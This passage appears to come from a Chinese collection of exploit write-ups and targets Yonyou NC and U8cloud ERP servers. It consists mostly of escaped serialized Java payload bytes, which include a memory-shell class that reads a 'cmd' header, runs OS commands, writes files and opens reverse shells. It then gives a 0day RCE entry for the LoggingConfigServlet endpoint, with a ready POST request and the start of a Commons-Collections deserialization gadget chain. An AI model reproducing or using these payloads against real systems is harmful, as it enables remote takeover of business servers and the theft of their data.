\x00\xdc\x08\x00\xdd\x07\x00\xde\x08\x00\xdf\x08\x00\xe0\x0a\x00\x1c\x00\xe1\x07\
x00\xe2\x0a\x00C\x00\xe3\x0a\x00\xe4\x00\xd8\x08\x00\xe5\x0a\x00!\x00\xe6\x08\x00
\xe7\x0a\x00!\x00\xe8\x08\x00\xe9\x0a\x00!\x00\xea\x0a\x00\x8f\x00\xeb\x08\x00\xe
c\x0a\x00!\x00\xed\x08\x00\xee\x09\x00\x8f\x00\xef\x0a\x00\xd4\x00\xf0\x09\x00\x8
f\x00\xf1\x07\x00\xf2\x0a\x00C\x00\xf3\x0a\x00C\x00\xf4\x08\x00\xa6\x08\x00\xf5\x
08\x00\xf6\x0a\x00\x8f\x00\xf7\x08\x00\xf8\x0a\x00\x8f\x00\xf9\x07\x00\xfa\x0a\x0
0L\x00\xfb\x07\x00\xfc\x0a\x00N\x00\xfd\x0a\x00\x8f\x00\xfe\x0a\x00N\x00\xff\x0a\
x00N\x01\x00\x0a\x00N\x01\x01\x0a\x00/\x01\x02\x0a\x00L\x01\x03\x0a\x00!\x01\x04\
x08\x01\x05\x0a\x01\x06\x01\x07\x0a\x00!\x01\x08\x08\x01\x09\x08\x01\x0a\x08\x01\
x0b\x07\x01\x0c\x0a\x00]\x00\xad\x0a\x00]\x01\x0d\x08\x01\x0e\x0a\x00]\x01\x02\x0
8\x01\x0f\x08\x01\x10\x08\x01\x11\x08\x01\x12\x0a\x01\x13\x01\x14\x0a\x01\x13\x01
\x15\x07\x01\x16\x0a\x01\x17\x01\x18\x0a\x00h\x01\x19\x08\x01\x1a\x0a\x00h\x01\x1
b\x0a\x00h\x00\xc5\x0a\x00h\x01\x1c\x0a\x01\x17\x01\x1d\x0a\x01\x17\x01\x1e\x08\x
01\x1f\x08\x01
\x0a\x01\x13\x01!\x07\x01\"\x0a\x00t\x01#\x0a\x00t\x01\x18\x0a\x01\x17\x01$\x0a\x
00t\x01$\x0a\x00t\x01%\x0a\x01&\x01'\x0a\x01&\x01\x28\x0a\x01\x29\x01*\x0a\x01\x2
9\x01\x00\x05\x00\x00\x00\x00\x00\x00\x002\x0a\x00C\x01+\x0a\x01\x17\x01,\x0a\x00
t\x01\x01\x08\x01-
\x0a\x00/\x01.\x08\x01/\x08\x010\x0a\x00\xd4\x011\x0a\x00\x8f\x012\x08\x013\x08\x
014\x08\x015\x08\x016\x08\x00\xa9\x08\x017\x07\x018\x01\x00\x0cBASE64_CHARS\x01\x
00\x12Ljava/lang/String;\x01\x00\x0dConstantValue\x08\x019\x01\x00\x02ip\x01\x00\
x04port\x01\x00\x13Ljava/lang/Integer;\x01\x00\x06<init>\x01\x00\x03\x28\x29V\x01
\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x0aExceptions\x01\x00\x09loadClas
s\x01\x00%\x28Ljava/lang/String;\x29Ljava/lang/Class;\x01\x00\x09Signature\x01\x0
```

```
0\x28\x28Ljava/lang/String;\x29Ljava/lang/Class<*>;\x01\x00\x05proxy\x01\x00&\x28
Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x05write\x01\x008\x28Ljava/lang/
String;Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x0aclearParam\x01\x00\x04
exec\x01\x00\x07reverse\x01\x00'\x28Ljava/lang/String;I\x29Ljava/lang/String;\x01
\x00\x03run\x01\x00\x06decode\x01\x00\x16\x28Ljava/lang/String;\x29[B\x01\x00\x0a
SourceFile\x01\x00\x07A4.java\x0c\x00\x97\x00\x98\x0c\x01:\x01;\x0c\x01<\x01=\x0c
\x01>\x01?
\x01\x00\x07threads\x0c\x01@\x01A\x07\x01B\x0c\x01C\x01D\x0c\x01E\x01F\x01\x00\x1
3[Ljava/lang/Thread;\x0c\x01G\x01H\x0c\x01I\x01J\x01\x00\x04http\x01\x00\x06targe
t\x01\x00\x12java/lang/Runnable\x01\x00\x06this$0\x01\x00\x07handler\x01\x00\x1ej
ava/lang/NoSuchFieldException\x0c\x01K\x01?
\x01\x00\x06global\x01\x00\x0aprocessors\x01\x00\x0ejava/util/List\x0c\x01L\x01M\
x07\x01N\x0c\x01O\x01P\x0c\x01Q\x01R\x01\x00\x03req\x01\x00\x0bgetResponse\x01\x0
0\x0fjava/lang/Class\x0c\x01S\x01T\x01\x00\x10java/lang/Object\x07\x01U\x0c\x01V\
x01W\x01\x00\x09getHeader\x01\x00\x10java/lang/String\x01\x00\x03cmd\x0c\x00\xa0\
x00\xa1\x0c\x01X\x01Y\x01\x00\x09setStatus\x07\x01Z\x0c\x01[\x01\\\x0c\x01]\x01^\
x01\x00$org.apache.tomcat.util.buf.ByteChunk\x0c\x00\x9c\x00\x9d\x0c\x01_\x01R\x0
1\x00\x08setBytes\x01\x00\x02[B\x0c\x01`\x01T\x01\x00\x07doWrite\x01\x00\x13java/
lang/Exception\x01\x00\x13java.nio.ByteBuffer\x01\x00\x04wrap\x0c\x01a\x00\x9d\x0
1\x00
java/lang/ClassNotFoundException\x0c\x01b\x01c\x07\x01d\x01\x00\x00\x0c\x01e\x01f
\x01\x00\x10command not
null\x0c\x01g\x01H\x01\x00\x05#####\x0c\x01h\x01i\x0c\x00\xa4\x00\xa1\x01\x00\x01
:\x0c\x01j\x01k\x01\x00\"command reverse host format
error!\x0c\x00\x94\x00\x91\x0c\x01l\x01m\x0c\x00\x95\x00\x96\x01\x00\x10java/lang
/Thread\x0c\x00\x97\x01n\x0c\x01o\x00\x98\x01\x00\x05$$$$$\x01\x00\x12file format
error!\x0c\x00\xa2\x00\xa3\x01\x00\x05@@@@@\x0c\x00\xa5\x00\xa1\x01\x00\x0cjava/i
o/File\x0c\x00\x97\x01p\x01\x00\x18java/io/FileOutputStream\x0c\x00\x97\x01q\x0c\
x00\xa9\x00\xaa\x0c\x00\xa2\x01r\x0c\x01s\x00\x98\x0c\x01t\x00\x98\x0c\x01u\x01H\
x0c\x01v\x01H\x0c\x01w\x01x\x01\x00\x07os.name\x07\x01y\x0c\x01z\x00\xa1\x0c\x01\
x7b\x01H\x01\x00\x03win\x01\x00\x04ping\x01\x00\x02-
n\x01\x00\x17java/lang/StringBuilder\x0c\x01|\x01\x7d\x01\x00\x05 -n
4\x01\x00\x02/c\x01\x00\x05 -t 4\x01\x00\x02sh\x01\x00\x02-
c\x07\x01~\x0c\x01\x7f\x01\x80\x0c\x00\xa5\x01\x81\x01\x00\x11java/util/Scanner\x
07\x01\x82\x0c\x01\x83\x01\x84\x0c\x00\x97\x01\x85\x01\x00\x02\\a\x0c\x01\x86\x01
\x87\x0c\x01Q\x01H\x0c\x01\x88\x01\x84\x0c\x01\x89\x00\x98\x01\x00\x07/bin/sh\x01
\x00\x07cmd.exe\x0c\x00\xa5\x01\x8a\x01\x00\x0fjava/net/Socket\x0c\x00\x97\x01\x8
b\x0c\x01\x8c\x01\x8d\x0c\x01\x8e\x01P\x07\x01\x8f\x0c\x01\x90\x01\x91\x0c\x01\x9
2\x01\x91\x07\x01\x93\x0c\x00\xa2\x01\x94\x0c\x01\x95\x01\x96\x0c\x01\x97\x01\x91
\x01\x00\x1dreverse execute error, msg -
>\x0c\x01\x98\x01H\x01\x00\x01!\x01\x00\x13reverse execute
ok!\x0c\x01\x99\x01\x91\x0c\x00\xa6\x00\xa7\x01\x00\x16sun.misc.BASE64Decoder\x01
\x00\x0cdecodeBuffer\x01\x00\x10java.util.Base64\x01\x00\x0agetDecoder\x01\x00&or
g.apache.commons.codec.binary.Base64\x01\x00\x02A4\x01\x00@ABCDEFGHIJKLMNOPQRSTUV
WXYZabcdefghijklmnopqrstuvwxyz0123456789+/\x01\x00\x0dcurrentThread\x01\x00\x14\x
28\x29Ljava/lang/Thread;\x01\x00\x0egetThreadGroup\x01\x00\x19\x28\x29Ljava/lang/
ThreadGroup;\x01\x00\x08getClass\x01\x00\x13\x28\x29Ljava/lang/Class;\x01\x00\x10
getDeclaredField\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/reflect/Field;\x01\x00\x17java/lang/reflect/
Field\x01\x00\x0dsetAccessible\x01\x00\x04\x28Z\x29V\x01\x00\x03get\x01\x00&\x28L
java/lang/Object;\x29Ljava/lang/Object;\x01\x00\x07getName\x01\x00\x14\x28\x29Lja
va/lang/String;\x01\x00\x08contains\x01\x00\x1b\x28Ljava/lang/CharSequence;\x29Z\
x01\x00\x0dgetSuperclass\x01\x00\x08iterator\x01\x00\x16\x28\x29Ljava/util/Iterat
or;\x01\x00\x12java/util/Iterator\x01\x00\x07hasNext\x01\x00\x03\x28\x29Z\x01\x00
\x04next\x01\x00\x14\x28\x29Ljava/lang/Object;\x01\x00\x09getMethod\x01\x00@\x28L
java/lang/String;
```

```
[Ljava/lang/Class;\x29Ljava/lang/reflect/Method;\x01\x00\x18java/lang/reflect/Met
hod\x01\x00\x06invoke\x01\x009\x28Ljava/lang/Object;
[Ljava/lang/Object;\x29Ljava/lang/Object;\x01\x00\x08getBytes\x01\x00\x04\x28\x29
[B\x01\x00\x11java/lang/Integer\x01\x00\x04TYPE\x01\x00\x11Ljava/lang/Class;\x01\
x00\x07valueOf\x01\x00\x16\x28I\x29Ljava/lang/Integer;\x01\x00\x0bnewInstance\x01
\x00\x11getDeclaredMethod\x01\x00\x07forName\x01\x00\x15getContextClassLoader\x01
\x00\x19\x28\x29Ljava/lang/ClassLoader;\x01\x00\x15java/lang/ClassLoader\x01\x00\
x06equals\x01\x00\x15\x28Ljava/lang/Object;\x29Z\x01\x00\x04trim\x01\x00\x0astart
sWith\x01\x00\x15\x28Ljava/lang/String;\x29Z\x01\x00\x05split\x01\x00'\x28Ljava/l
ang/String;\x29[Ljava/lang/String;\x01\x00\x08parseInt\x01\x00\x15\x28Ljava/lang/
String;\x29I\x01\x00\x17\x28Ljava/lang/Runnable;\x29V\x01\x00\x05start\x01\x00\x1
5\x28Ljava/lang/String;\x29V\x01\x00\x11\x28Ljava/io/File;\x29V\x01\x00\x05\x28[B
\x29V\x01\x00\x05flush\x01\x00\x05close\x01\x00\x08toString\x01\x00\x0fgetAbsolut
ePath\x01\x00\x07replace\x01\x00D\x28Ljava/lang/CharSequence;Ljava/lang/CharSeque
nce;\x29Ljava/lang/String;\x01\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01
\x00\x0btoLowerCase\x01\x00\x06append\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/StringBuilder;\x01\x00\x11java/lang/Runtime\
x01\x00\x0agetRuntime\x01\x00\x15\x28\x29Ljava/lang/Runtime;\x01\x00\x28\x28[Ljav
a/lang/String;\x29Ljava/lang/Process;\x01\x00\x11java/lang/Process\x01\x00\x0eget
InputStream\x01\x00\x17\x28\x29Ljava/io/InputStream;\x01\x00\x18\x28Ljava/io/Inpu
tStream;\x29V\x01\x00\x0cuseDelimiter\x01\x00'\x28Ljava/lang/String;\x29Ljava/uti
l/Scanner;\x01\x00\x0egetErrorStream\x01\x00\x07destroy\x01\x00'\x28Ljava/lang/St
ring;\x29Ljava/lang/Process;\x01\x00\x16\x28Ljava/lang/String;I\x29V\x01\x00\x0fg
etOutputStream\x01\x00\x18\x28\x29Ljava/io/OutputStream;\x01\x00\x08isClosed\x01\
x00\x13java/io/InputStream\x01\x00\x09available\x01\x00\x03\x28\x29I\x01\x00\x04r
ead\x01\x00\x14java/io/OutputStream\x01\x00\x04\x28I\x29V\x01\x00\x05sleep\x01\x0
0\x04\x28J\x29V\x01\x00\x09exitValue\x01\x00\x0agetMessage\x01\x00\x08intValue\x0
0!\x00\x8f\x00\x1e\x00\x01\x00\x0f\x00\x03\x00\x1a\x00\x90\x00\x91\x00\x01\x00\x9
2\x00\x00\x00\x02\x00\x93\x00\x02\x00\x94\x00\x91\x00\x00\x00\x02\x00\x95\x00\x96
\x00\x00\x00\x09\x00\x01\x00\x97\x00\x98\x00\x02\x00\x99\x00\x00\x03\xb6\x00\x06\
x00\x13\x00\x00\x02\x8e*\xb7\x00\x01\xb8\x00\x02\xb6\x00\x03L+\xb6\x00\x04\x12\x0
5\xb6\x00\x06M,\x04\xb6\x00\x07,+\xb6\x00\x08\xc0\x00\x09\xc0\x00\x09N-:\x04\x19\
x04\xbe6\x05\x036\x06\x15\x06\x15\x05\xa2\x02X\x19\x04\x15\x062:\x07\x19\x07\xc7\
x00\x06\xa7\x02C\x19\x07\xb6\x00\x0a:\x08\x19\x08\x12\x0b\xb6\x00\x0c\x9a\x00\x0d
\x19\x08\x12\x0d\xb6\x00\x0c\x9a\x00\x06\xa7\x02%\x19\x07\xb6\x00\x04\x12\x0e\xb6
\x00\x06M,\x04\xb6\x00\x07,\x19\x07\xb6\x00\x08:\x09\x19\x09\xc1\x00\x0f\x9a\x00\
x06\xa7\x02\x02\x19\x09\xb6\x00\x04\x12\x10\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0
9\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x11\xb6\x00\x06M\xa7\x00\x16:\x0a\x19\
x09\xb6\x00\x04\xb6\x00\x13\xb6\x00\x13\x12\x11\xb6\x00\x06M,\x04\xb6\x00\x07,\x1
9\x09\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\xb6\x00\x13\x12\x14\xb6\x00\x06M\xa7\x
00\x10:\x0a\x19\x09\xb6\x00\x04\x12\x14\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09\xb
6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x15\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09
\xb6\x00\x08\xc0\x00\x16\xc0\x00\x16:\x0a\x19\x0a\xb9\x00\x17\x01\x00:\x0b\x19\x0
b\xb9\x00\x18\x01\x00\x99\x01[\x19\x0b\xb9\x00\x19\x01\x00:\x0c\x19\x0c\xb6\x00\x
04\x12\x1a\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0c\xb6\x00\x08:\x0d\x19\x0d\xb6\x0
0\x04\x12\x1b\x03\xbd\x00\x1c\xb6\x00\x1d\x19\x0d\x03\xbd\x00\x1e\xb6\x00\x1f:\x0
e\x19\x0d\xb6\x00\x04\x12
\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d\x19\x0d\x04\xbd\x00\x1eY\x03\x12\"S\xb6\x
00\x1f\xc0\x00!:\x0f\x19\x0f\xc7\x00\x06\xa7\xff\x91*\x19\x0f\xb6\x00#\xb6\x00$:\
x10\x19\x0e\xb6\x00\x04\x12%\x04\xbd\x00\x1cY\x03\xb2\x00&S\xb6\x00\x1d\x19\x0e\x
04\xbd\x00\x1eY\x03\x11\x00\xc8\xb8\x00'S\xb6\x00\x1fW*\x12\x28\xb6\x00\x29:\x11\
x19\x11\xb6\x00*:\x09\x19\x11\x12+\x06\xbd\x00\x1cY\x03\x12,SY\x04\xb2\x00&SY\x05
\xb2\x00&S\xb6\x00-
\x19\x09\x06\xbd\x00\x1eY\x03\x19\x10SY\x04\x03\xb8\x00'SY\x05\x19\x10\xbe\xb8\x0
0'S\xb6\x00\x1fW\x19\x0e\xb6\x00\x04\x12.\x04\xbd\x00\x1cY\x03\x19\x11S\xb6\x00\x
1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09S\xb6\x00\x1fW\xa7\x000:\x11*\x120\xb6\x00
\x29:\x12\x19\x12\x121\x04\xbd\x00\x1cY\x03\x12,S\xb6\x00-
\x19\x12\x04\xbd\x00\x1eY\x03\x19\x10S\xb6\x00\x1f:\x09\x19\x0e\xb6\x00\x04\x12.\
x04\xbd\x00\x1cY\x03\x19\x12S\xb6\x00\x1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09S\x
b6\x00\x1fW\xa7\x00\x0e\xa7\x00\x05:\x08\x84\x06\x01\xa7\xfd\xa7\xb1\x00\x07\x00\
xa0\x00\xab\x00\xae\x00\x12\x00\xce\x00\xdc\x00\xdf\x00\x12\x01\xc4\x020\x023\x00
/\x00?
\x00D\x02\x85\x00/\x00G\x00b\x02\x85\x00/\x00e\x00\x85\x02\x85\x00/\x00\x88\x02\x
7f\x02\x85\x00/\x00\x01\x00\x9a\x00\x00\x00\xde\x007\x00\x00\x00\x17\x00\x04\x00\
x18\x00\x0b\x00\x19\x00\x15\x00\x1a\x00\x1a\x00\x1b\x00&\x00\x1d\x00?
\x00\x1f\x00G\x00
\x00N\x00!\x00e\x00\"\x00p\x00#\x00u\x00$\x00\x7d\x00%\x00\x88\x00&\x00\x93\x00'\
x00\x98\x00\x28\x00\xa0\x00*\x00\xab\x00-
\x00\xae\x00+\x00\xb0\x00,\x00\xc1\x00.\x00\xc6\x00/\x00\xce\x001\x00\xdc\x004\x0
0\xdf\x002\x00\xe1\x003\x00\xec\x005\x00\xf1\x006\x00\xf9\x007\x01\x04\x008\x01\x
09\x009\x01\x17\x00:\x013\x00;\x01>\x00<\x01C\x00=\x01K\x00>\x01d\x00?
\x01\x8a\x00@\x01\x8f\x00A\x01\x92\x00C\x01\x9d\x00D\x01\xc4\x00F\x01\xcc\x00G\x0
1\xd3\x00H\x02\x0e\x00I\x020\x00N\x023\x00J\x025\x00K\x02=\x00L\x02]\x00M\x02\x7f
\x00O\x02\x82\x00S\x02\x85\x00Q\x02\x87\x00\x1d\x02\x8d\x00U\x00\x9b\x00\x00\x00\
x04\x00\x01\x00/\x00\x01\x00\x9c\x00\x9d\x00\x03\x00\x99\x00\x00\x009\x00\x02\x00
\x03\x00\x00\x00\x11+\xb8\x002\xb0M\xb8\x00\x02\xb6\x004+\xb6\x005\xb0\x00\x01\x0
0\x00\x00\x04\x00\x05\x003\x00\x01\x00\x9a\x00\x00\x00\x0e\x00\x03\x00\x00\x00_\x
00\x05\x00`\x00\x06\x00a\x00\x9b\x00\x00\x00\x04\x00\x01\x003\x00\x9e\x00\x00\x00
\x02\x00\x9f\x00\x01\x00\xa0\x00\xa1\x00\x01\x00\x99\x00\x00\x00\xff\x00\x04\x00\
x04\x00\x00\x00\x9b+\xc6\x00\x0c\x126+\xb6\x007\x99\x00\x06\x128\xb0+\xb6\x009L+\
x12:\xb6\x00;\x99\x00;*+\xb7\x00<\x12=\xb6\x00>M,\xbe\x05\x9f\x00\x06\x12?
\xb0*,\x032\xb5\x00@*,\x042\xb8\x00A\xb8\x00'\xb5\x00B\xbb\x00CY*\xb7\x00DN-
\xb6\x00E\x12F\xb0+\x12G\xb6\x00;\x99\x00\"*+\xb7\x00<\x12=\xb6\x00>M,\xbe\x05\x9
f\x00\x06\x12H\xb0*,\x032,\x042\xb6\x00I\xb0+\x12J\xb6\x00;\x99\x00\x0d**+\xb7\x0
0<\xb6\x00K\xb0**+\xb7\x00<\xb6\x00K\xb0\x00\x00\x00\x01\x00\x9a\x00\x00\x00R\x00
\x14\x00\x00\x00k\x00\x0d\x00l\x00\x10\x00n\x00\x15\x00o\x00\x1e\x00q\x00\x29\x00
r\x00/\x00s\x002\x00u\x009\x00v\x00F\x00w\x00O\x00x\x00S\x00y\x00V\x00z\x00_\x00\
x7b\x00j\x00|\x00p\x00\x7d\x00s\x00\x7f\x00~\x00\x80\x00\x87\x00\x81\x00\x91\x00\
x83\x00\x01\x00\xa2\x00\xa3\x00\x01\x00\x99\x00\x00\x00v\x00\x03\x00\x05\x00\x00\
x006\xbb\x00LY+\xb7\x00MN\xbb\x00NY-
\xb7\x00O:\x04\x19\x04,\xb8\x00P\xb6\x00Q\x19\x04\xb6\x00R\x19\x04\xb6\x00S\xa7\x
00\x0b:\x04\x19\x04\xb6\x00T\xb0-
\xb6\x00U\xb0\x00\x01\x00\x09\x00&\x00\x29\x00/\x00\x01\x00\x9a\x00\x00\x00&\x00\
x09\x00\x00\x00\x8e\x00\x09\x00\x90\x00\x13\x00\x91\x00\x1c\x00\x92\x00!\x00\x93\
x00&\x00\x96\x00\x29\x00\x94\x00+\x00\x95\x001\x00\x97\x00\x02\x00\xa4\x00\xa1\x0
0\x01\x00\x99\x00\x00\x00/\x00\x03\x00\x02\x00\x00\x00\x17+\x12:\x126\xb6\x00V\x1
2J\x126\xb6\x00V\x12G\x126\xb6\x00V\xb0\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x06\x
00\x01\x00\x00\x00\xa0\x00\x01\x00\xa5\x00\xa1\x00\x01\x00\x99\x00\x00\x01\xc3\x0
0\x04\x00\x09\x00\x00\x01'\x12W\xb8\x00X\xb6\x00YM+\xb6\x009L\x01N,\x12Z\xb6\x00\
x0c\x99\x00@+\x12[\xb6\x00\x0c\x99\x00
+\x12\\\xb6\x00\x0c\x9a\x00\x17\xbb\x00]Y\xb7\x00^+\xb6\x00_\x12`\xb6\x00_\xb6\x0
0aL\x06\xbd\x00!Y\x03\x12\"SY\x04\x12bSY\x05+S:\x04\xa7\x00=+\x12[\xb6\x00\x0c\x9
9\x00
+\x12\\\xb6\x00\x0c\x9a\x00\x17\xbb\x00]Y\xb7\x00^+\xb6\x00_\x12c\xb6\x00_\xb6\x0
0aL\x06\xbd\x00!Y\x03\x12dSY\x04\x12eSY\x05+S:\x04\xb8\x00f\x19\x04\xb6\x00gN\xbb
\x00hY-
\xb6\x00i\xb7\x00j\x12k\xb6\x00l:\x05\x19\x05\xb6\x00m\x99\x00\x0b\x19\x05\xb6\x0
0n\xa7\x00\x05\x126:\x06\xbb\x00hY-
\xb6\x00o\xb7\x00j\x12k\xb6\x00l:\x05\xbb\x00]Y\xb7\x00^\x19\x06\xb6\x00_\x19\x05
\xb6\x00m\x99\x00\x0b\x19\x05\xb6\x00n\xa7\x00\x05\x126\xb6\x00_\xb6\x00a:\x06\x1
9\x06:\x07-\xc6\x00\x07-\xb6\x00p\x19\x07\xb0:\x05\x19\x05\xb6\x00T:\x06-
\xc6\x00\x07-\xb6\x00p\x19\x06\xb0:\x08-\xc6\x00\x07-
```

```
\xb6\x00p\x19\x08\xbf\x00\x04\x00\x90\x00\xfb\x01\x06\x00/\x00\x90\x00\xfb\x01\x1
a\x00\x00\x01\x06\x01\x0f\x01\x1a\x00\x00\x01\x1a\x01\x1c\x01\x1a\x00\x00\x00\x01
\x00\x9a\x00\x00\x00j\x00\x1a\x00\x00\x00\xa9\x00\x09\x00\xaa\x00\x0e\x00\xab\x00
\x10\x00\xad\x00\x19\x00\xae\x00+\x00\xaf\x00?
\x00\xb1\x00V\x00\xb3\x00h\x00\xb4\x00|\x00\xb6\x00\x90\x00\xb9\x00\x99\x00\xba\x
00\xab\x00\xbb\x00\xbf\x00\xbc\x00\xd1\x00\xbd\x00\xf7\x00\xbe\x00\xfb\x00\xc2\x0
0\xff\x00\xc3\x01\x03\x00\xbe\x01\x06\x00\xbf\x01\x08\x00\xc0\x01\x0f\x00\xc2\x01
\x13\x00\xc3\x01\x17\x00\xc0\x01\x1a\x00\xc2\x01
\x00\xc3\x00\x01\x00\xa6\x00\xa7\x00\x01\x00\x99\x00\x00\x01r\x00\x04\x00\x0c\x00
\x00\x00\xe2\x12W\xb8\x00X\xb6\x00Y\x12Z\xb6\x00\x0c\x9a\x00\x09\x12qN\xa7\x00\x0
6\x12rN\xb8\x00f-
\xb6\x00s:\x04\xbb\x00tY+\x1c\xb7\x00u:\x05\x19\x04\xb6\x00i:\x06\x19\x04\xb6\x00
o:\x07\x19\x05\xb6\x00v:\x08\x19\x04\xb6\x00w:\x09\x19\x05\xb6\x00x:\x0a\x19\x05\
xb6\x00y\x9a\x00`\x19\x06\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x06\xb6\x00\x7b\xb6\x0
0|\xa7\xff\xee\x19\x07\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x07\xb6\x00\x7b\xb6\x00|\
xa7\xff\xee\x19\x08\xb6\x00z\x9e\x00\x10\x19\x09\x19\x08\xb6\x00\x7b\xb6\x00|\xa7
\xff\xee\x19\x0a\xb6\x00\x7d\x19\x09\xb6\x00\x7d\x14\x00~\xb8\x00\x80\x19\x04\xb6
\x00\x81W\xa7\x00\x08:\x0b\xa7\xff\x9e\x19\x04\xb6\x00p\x19\x05\xb6\x00\x82\xa7\x
00 N\xbb\x00]Y\xb7\x00^\x12\x83\xb6\x00_-
\xb6\x00\x84\xb6\x00_\x12\x85\xb6\x00_\xb6\x00a\xb0\x12\x86\xb0\x00\x02\x00\xa7\x
00\xad\x00\xb0\x00/\x00\x00\x00\xbf\x00\xc2\x00/\x00\x01\x00\x9a\x00\x00\x00n\x00
\x1b\x00\x00\x00\xd1\x00\x10\x00\xd2\x00\x16\x00\xd4\x00\x19\x00\xd6\x00\"\x00\xd
7\x00-
\x00\xd8\x00B\x00\xd9\x00P\x00\xda\x00X\x00\xdb\x00`\x00\xdc\x00m\x00\xde\x00u\x0
0\xdf\x00\x82\x00\xe1\x00\x8a\x00\xe2\x00\x97\x00\xe4\x00\x9c\x00\xe5\x00\xa1\x00
\xe6\x00\xa7\x00\xe8\x00\xad\x00\xe9\x00\xb0\x00\xea\x00\xb2\x00\xeb\x00\xb5\x00\
xed\x00\xba\x00\xee\x00\xbf\x00\xf1\x00\xc2\x00\xef\x00\xc3\x00\xf0\x00\xdf\x00\x
f2\x00\x01\x00\xa8\x00\x98\x00\x01\x00\x99\x00\x00\x00-
\x00\x03\x00\x01\x00\x00\x00\x11**\xb4\x00@*\xb4\x00B\xb6\x00\x87\xb6\x00\x88W\xb
1\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x0a\x00\x02\x00\x00\x00\xf7\x00\x10\x00\xf8
\x00\x09\x00\xa9\x00\xaa\x00\x01\x00\x99\x00\x00\x01\x1c\x00\x06\x00\x04\x00\x00\
x00\xac\x01L\x12\x89\xb8\x002M,\x12\x8a\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\x
b6\x00*\x04\xbd\x00\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x
00C\x12\x8b\xb8\x002\x12\x8c\x03\xbd\x00\x1c\xb6\x00\x1d\x01\x03\xbd\x00\x1e\xb6\
x00\x1fM,\xb6\x00\x04\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\x04\xbd\x00
\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x004\x12\x8e\xb8\x00
2M,\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1dN-,\xb6\x00*\x04\xbd\x00\x1eY\x
03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xb0\x00\x03\x00\x02\x00-
\x000\x00/\x005\x00q\x00t\x00/\x00y\x00\xa6\x00\xa9\x00/\x00\x01\x00\x9a\x00\x00\
x00F\x00\x11\x00\x00\x01\x00\x00\x02\x01\x02\x00\x08\x01\x03\x00-
\x01\x06\x000\x01\x04\x001\x01\x07\x005\x01\x09\x00L\x01\x0a\x00q\x01\x0d\x00t\x0
1\x0b\x00u\x01\x0f\x00y\x01\x11\x00\x7f\x01\x12\x00\x8f\x01\x13\x00\xa6\x01\x16\x
00\xa9\x01\x14\x00\xaa\x01\x18\x00\x01\x00\xab\x00\x00\x00\x02\x00\xact\x00\x0bde
fineClassuq\x00~\x00\x1a\x00\x00\x00\x02vr\x00\x10java.lang.String\xa0\xf0\xa48z;
\xb3B\x02\x00\x00xpvq\x00~\x00\x28sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01u
q\x00~\x00\x1a\x00\x00\x00\x00q\x00~\x00\x1cuq\x00~\x00\x1a\x00\x00\x00\x01q\x00~
\x00\x1esq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00
\x00q\x00~\x00\"uq\x00~\x00\x1a\x00\x00\x00\x01q\x00~\x00$sq\x00~\x00\x0fsq\x00~\
x00\x00w\x0c\x00\x00\x00\x10?
@\x00\x00\x00\x00\x00\x00xsr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xd
1\x03\x00\x02F\x00\x0aloadFactorI\x00\x09thresholdxp?
@\x00\x00\x00\x00\x00\x00w\x08\x00\x00\x00\x10\x00\x00\x00\x00xxx")}}
```

用友NC及U8cloud系统接口LoggingConfigServlet存在反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/servlet/~ic/nc.bs.logging.config.LoggingConfigServlet
- 漏洞详情：

```
POST /servlet/~ic/nc.bs.logging.config.LoggingConfigServlet HTTP/1.1
Host: 
Cmd: id
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

```
{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\
x03\x00\x00xpw\x0c\x00\x00\x00\x02?
@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEn
try\x8a\xad\xd2\x9b9\xc1\x1f\xdb\x02\x00\x02L\x00\x03keyt\x00\x12Ljava/lang/Objec
t;L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00\x03foosr\x00*org.apache.commons.col
lections.map.LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,L
org/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collection
s.functors.ChainedTransformer0\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTran
sformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-
[Lorg.apache.commons.collections.Transformer;\xbdV*\xf1\xd84\x18\x99\x02\x00\x00x
p\x00\x00\x00\x07sr\x00;org.apache.commons.collections.functors.ConstantTransform
